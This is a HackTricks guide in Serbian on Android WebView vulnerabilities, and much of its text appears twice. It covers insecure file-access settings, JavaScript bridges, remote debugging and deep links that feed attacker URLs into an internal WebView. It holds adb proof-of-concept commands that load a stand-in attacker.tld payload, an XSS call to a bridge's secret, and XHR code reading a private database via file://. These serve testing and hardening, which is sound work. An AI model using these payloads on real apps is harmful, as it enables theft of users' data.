Webview Attacks
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Vodič o WebView Konfiguracijama i Bezbednosti
Pregled WebView Ranljivosti
Kritičan aspekt Android razvoja uključuje pravilno rukovanje WebView-ima. Ovaj vodič ističe ključne konfiguracije i bezbednosne prakse za smanjenje rizika povezanih sa korišćenjem WebView-a.
Pristup Datotekama u WebView-ima
Po defaultu, WebView-i dozvoljavaju pristup datotekama. Ova funkcionalnost se kontroliše metodom setAllowFileAccess()
, dostupnom od Android API nivoa 3 (Cupcake 1.5). Aplikacije sa dozvolom android.permission.READ_EXTERNAL_STORAGE mogu čitati datoteke iz spoljnog skladišta koristeći URL šemu datoteke (file://path/to/file
).
Zastarjeli Karakteristike: Univerzalni i Pristup Datotekama sa URL-ova
- Univerzalni Pristup sa URL-ova Datoteka: Ova zastarela funkcija je omogućavala cross-origin zahteve sa URL-ova datoteka, predstavljajući značajan bezbednosni rizik zbog potencijalnih XSS napada. Podrazumevana postavka je onemogućena (
false
) za aplikacije koje cilјaju Android Jelly Bean i novije. - Da biste proverili ovu postavku, koristite
getAllowUniversalAccessFromFileURLs()
. - Da biste izmenili ovu postavku, koristite
setAllowUniversalAccessFromFileURLs(boolean)
. - Pristup Datotekama sa URL-ova Datoteka: Ova funkcija, takođe zastarela, kontrolisala je pristup sadržaju sa drugih URL-ova šeme datoteka. Kao i univerzalni pristup, njena podrazumevana postavka je onemogućena radi poboljšane bezbednosti.
- Koristite
getAllowFileAccessFromFileURLs()
za proveru isetAllowFileAccessFromFileURLs(boolean)
za postavljanje.
Sigurno Učitavanje Datoteka
Za onemogućavanje pristupa sistemu datoteka dok se i dalje pristupa resursima i sredstvima, koristi se metoda setAllowFileAccess()
. Sa Android R i novijim, podrazumevana postavka je false
.
- Proverite sa
getAllowFileAccess()
. - Omogućite ili onemogućite sa
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Klasa WebViewAssetLoader je savremeni pristup za učitavanje lokalnih datoteka. Koristi http(s) URL-ove za pristup lokalnim resursima i sredstvima, usklađujući se sa politikom iste porekla, čime se olakšava upravljanje CORS-om.
loadUrl
Ovo je uobičajena funkcija koja se koristi za učitavanje proizvoljnih URL-ova u webview:
webview.loadUrl("<url here>")
Ofc, potencijalni napadač nikada ne bi trebao moći da kontroliše URL koji aplikacija učitava.
JavaScript i upravljanje Intent shemama
- JavaScript: Onemogućen po defaultu u WebView-ima, može se omogućiti putem
setJavaScriptEnabled()
. Preporučuje se oprez jer omogućavanje JavaScripta bez odgovarajućih zaštita može uvesti sigurnosne ranjivosti. - Intent shema: WebView-ovi mogu obraditi
intent
shemu, što može dovesti do eksploatacija ako se ne upravlja pažljivo. Jedna ranjivost uključivala je izloženi WebView parametar "support_url" koji se mogao iskoristiti za izvršavanje napada skriptovanjem između sajtova (XSS).
Primer eksploatacije koristeći adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Funkcija koju pruža Android omogućava JavaScript-u u WebView-u da poziva nativne Android funkcije aplikacije. To se postiže korišćenjem addJavascriptInterface
metode, koja integriše JavaScript sa nativnim Android funkcionalnostima, nazvanim WebView JavaScript bridge. Preporučuje se oprez jer ova metoda omogućava svim stranicama unutar WebView-a da pristupe registrovanom JavaScript Interface objektu, što predstavlja sigurnosni rizik ako se osetljive informacije izlože putem ovih interfejsa.
- Ekstremni oprez je potreban za aplikacije koje cilјaju Android verzije ispod 4.2 zbog ranjivosti koja omogućava dalјinsko izvršavanje koda putem zlonamernog JavaScript-a, koristeći refleksiju.
Implementing a JavaScript Bridge
- JavaScript interfejsi mogu interagovati sa nativnim kodom, kao što je prikazano u primerima gde je metoda klase izložena JavaScript-u:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se omogućava dodavanjem interfejsa u WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencijalna eksploatacija putem JavaScript-a, na primer, putem XSS napada, omogućava pozivanje izloženih Java metoda:
<script>
alert(javascriptBridge.getSecret())
</script>
- Da biste smanjili rizike, ograničite korišćenje JavaScript mosta na kod koji je isporučen sa APK-om i sprečite učitavanje JavaScript-a iz udaljenih izvora. Za starije uređaje, postavite minimalni API nivo na 17.
Izvršenje daljinskog koda zasnovano na refleksiji (RCE)
- Dokumentovana metoda omogućava postizanje RCE putem refleksije izvršavanjem specifičnog payload-a. Međutim,
@JavascriptInterface
anotacija sprečava neovlašćen pristup metodama, ograničavajući površinu napada.
Daljinsko debagovanje
- Daljinsko debagovanje je moguće sa Chrome Developer Tools, omogućavajući interakciju i proizvoljno izvršavanje JavaScript-a unutar WebView sadržaja.
Omogućavanje daljinskog debagovanja
- Daljinsko debagovanje može biti omogućeno za sve WebView-ove unutar aplikacije na sledeći način:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Da uslovno omogućite debagovanje na osnovu stanja debagovanja aplikacije:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Ekstrakcija proizvoljnih fajlova
- Prikazuje ekstrakciju proizvoljnih fajlova koristeći XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Kritičan aspekt Android razvoja uključuje pravilno rukovanje WebView-ima. Ovaj vodič ističe ključne konfiguracije i sigurnosne prakse za smanjenje rizika povezanih sa korišćenjem WebView-a.
File Access in WebViews
Po defaultu, WebView-ima je dozvoljen pristup datotekama. Ova funkcionalnost se kontroliše metodom setAllowFileAccess()
, dostupnom od Android API nivoa 3 (Cupcake 1.5). Aplikacije sa dozvolom android.permission.READ_EXTERNAL_STORAGE mogu čitati datoteke iz spoljnog skladišta koristeći URL šemu datoteke (file://path/to/file
).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Ova deprecated funkcija je omogućavala cross-origin zahteve sa URL-ova datoteka, predstavljajući značajan sigurnosni rizik zbog potencijalnih XSS napada. Podrazumevano podešavanje je onemogućeno (
false
) za aplikacije koje cilјaju Android Jelly Bean i novije. - Da biste proverili ovo podešavanje, koristite
getAllowUniversalAccessFromFileURLs()
. - Da biste izmenili ovo podešavanje, koristite
setAllowUniversalAccessFromFileURLs(boolean)
. - File Access From File URLs: Ova funkcija, takođe deprecated, kontrolisala je pristup sadržaju sa drugih URL-ova datoteka. Kao i univerzalni pristup, njeno podrazumevano podešavanje je onemogućeno radi poboljšane sigurnosti.
- Koristite
getAllowFileAccessFromFileURLs()
za proveru isetAllowFileAccessFromFileURLs(boolean)
za postavljanje.
Secure File Loading
Za onemogućavanje pristupa sistemu datoteka dok se i dalje pristupa resursima i sredstvima, koristi se metoda setAllowFileAccess()
. Sa Android R i novijim, podrazumevano podešavanje je false
.
- Proverite sa
getAllowFileAccess()
. - Omogućite ili onemogućite sa
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Klasa WebViewAssetLoader je savremeni pristup za učitavanje lokalnih datoteka. Koristi http(s) URL-ove za pristup lokalnim resursima i sredstvima, usklađujući se sa politikom iste domene, čime se olakšava upravljanje CORS-om.
loadUrl
Ovo je uobičajena funkcija koja se koristi za učitavanje proizvoljnih URL-ova u webview:
webview.loadUrl("<url here>")
Ofc, potencijalni napadač nikada ne bi trebao moći da kontroliše URL koji aplikacija učitava.
Deep-linking u unutrašnji WebView (prilagođena shema → WebView sink)
Mnoge aplikacije registruju prilagođene sheme/puteve koji usmeravaju URL koji je korisnik dostavio u WebView unutar aplikacije. Ako je deep link izvezen (VIEW + BROWSABLE), napadač može primorati aplikaciju da prikaže proizvoljan udaljeni sadržaj unutar svog WebView konteksta.
Tipičan obrazac manifest-a ( pojednostavljeno):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Uobičajen tok koda ( pojednostavljeno):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Napadni obrazac i PoC putem adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: daljinska stranica se pokreće u kontekstu aplikacije WebView (kolačići/sesija profila aplikacije WebView, pristup bilo kojem izloženom @JavascriptInterface, potencijalni pristup content:// i file:// u zavisnosti od podešavanja).
Hunting tips:
- Grep dekompilirane izvore za
getQueryParameter("url")
,loadUrl(
,WebView
izvore, i deep-link rukovaoce (onCreate/onNewIntent
). - Pregledajte manifest za VIEW+BROWSABLE filtere i prilagođene sheme/hostove koji se mapiraju na aktivnosti koje kasnije pokreću WebView.
- Proverite da li postoje više deep-link putanja (npr., putanja “spoljašnjeg pregledača” naspram putanje “unutrašnjeg webview”) i preferirajte onu koja se prikazuje unutar aplikacije.
Omogućavanje JavaScripta pre verifikacije (greška u redosledu provere)
Česta greška u očvršćavanju je omogućavanje JavaScripta ili konfiguracija opuštenih WebView podešavanja pre nego što se završi konačna lista dozvoljenih/verifikacija ciljnog URL-a. Ako je verifikacija nedosledna među pomoćnicima ili se dešava prekasno, napadačev deep link može doći u stanje gde:
- WebView podešavanja se primenjuju (npr.,
setJavaScriptEnabled(true)
), i - Nepouzdani URL se učitava sa omogućеним JavaScript-om.
Bug pattern (pseudocode):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Zašto je podložan eksploataciji
- Nepodudarna normalizacija: pomoćni alati dele/ponovo grade URL drugačije od konačne provere, stvarajući neslaganja koja zlonamerni URL može iskoristiti.
- Neuredna pipeline: omogućavanje JS u koraku 2 primenjuje se globalno na WebView instancu, utičući na konačno učitavanje čak i ako bi provera kasnije propala.
Kako testirati
- Kreirajte deep-link payload-ove koji prolaze rane provere i dolaze do WebView konfiguracione stranice.
- Koristite adb da pokrenete implicitne VIEW intencije koje isporučuju
url=
parametar koji kontrolišete:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Ako eksploatacija uspe, vaš payload izvršava JavaScript u aplikacionom WebView-u. Odatle, istražujte izložene mostove:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Defensive guidance
- Kanonizujte jednom; strogo validirajte protiv jednog izvora istine (shema/host/putanja/upit).
- Pozovite
setJavaScriptEnabled(true)
samo nakon što svi allowlist provere prođu i neposredno pre učitavanja pouzdanog sadržaja. - Izbegavajte izlaganje
@JavascriptInterface
nepouzdanim izvorima; preferirajte kontrolu po izvoru. - Razmotrite per-WebView instance za pouzdan i nepouzdan sadržaj, sa JS onemogućenim po defaultu.
JavaScript i upravljanje Intent shemama
- JavaScript: Onemogućen po defaultu u WebView-ima, može se omogućiti putem
setJavaScriptEnabled()
. Preporučuje se oprez jer omogućavanje JavaScripta bez odgovarajućih zaštita može uvesti sigurnosne ranjivosti. - Intent shema: WebView-i mogu obraditi
intent
shemu, što može dovesti do eksploatacija ako se ne upravlja pažljivo. Primer ranjivosti uključivao je izloženi WebView parametar "support_url" koji se mogao iskoristiti za izvršavanje napada skriptiranja između sajtova (XSS).
Primer eksploatacije koristeći adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Funkcija koju pruža Android omogućava JavaScript-u u WebView-u da poziva nativne Android funkcije aplikacije. To se postiže korišćenjem addJavascriptInterface
metode, koja integriše JavaScript sa nativnim Android funkcionalnostima, nazvanim WebView JavaScript bridge. Preporučuje se oprez jer ova metoda omogućava svim stranicama unutar WebView-a pristup registrovanom JavaScript Interface objektu, što predstavlja sigurnosni rizik ako se osetljive informacije izlože putem ovih interfejsa.
- Ekstremni oprez je potreban za aplikacije koje cilјaju Android verzije ispod 4.2 zbog ranjivosti koja omogućava dalјinsko izvršavanje koda putem zlonamernog JavaScript-a, koristeći refleksiju.
Implementing a JavaScript Bridge
- JavaScript interfejsi mogu interagovati sa nativnim kodom, kao što je prikazano u primerima gde je metoda klase izložena JavaScript-u:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se omogućava dodavanjem interfejsa u WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencijalna eksploatacija putem JavaScript-a, na primer, putem XSS napada, omogućava pozivanje izloženih Java metoda:
<script>
alert(javascriptBridge.getSecret())
</script>
- Da bi se smanjili rizici, ograničite korišćenje JavaScript mosta na kod koji je isporučen sa APK-om i sprečite učitavanje JavaScript-a iz udaljenih izvora. Za starije uređaje, postavite minimalni API nivo na 17.
Izvršenje daljinskog koda zasnovano na refleksiji (RCE)
- Dokumentovana metoda omogućava postizanje RCE putem refleksije izvršavanjem specifičnog payload-a. Međutim,
@JavascriptInterface
anotacija sprečava neovlašćen pristup metodama, ograničavajući površinu napada.
Daljinsko debagovanje
- Daljinsko debagovanje je moguće sa Chrome Developer Tools, omogućavajući interakciju i proizvoljno izvršavanje JavaScript-a unutar WebView sadržaja.
Omogućavanje daljinskog debagovanja
- Daljinsko debagovanje može biti omogućeno za sve WebView-ove unutar aplikacije na sledeći način:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Da uslovno omogućite debagovanje na osnovu stanja debagovanja aplikacije:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Ekstrakcija proizvoljnih fajlova
- Prikazuje ekstrakciju proizvoljnih fajlova koristeći XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Reference
- Pregled napadačkih vektora pristupa datotekama Android WebView-a
- WheresMyBrowser.Android (demo aplikacija)
- Android WebView referenca
- Deep Links & WebViews Eksploatacije – Deo II
- Deep Links & WebViews Eksploatacije – Deo I
- Samsung S24 Eksploatacioni Lanac Pwn2Own 2024 Vodič
- Pwn2Own Irska 2024 – Samsung S24 napadni lanac (beleška)
- Video demonstracija
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.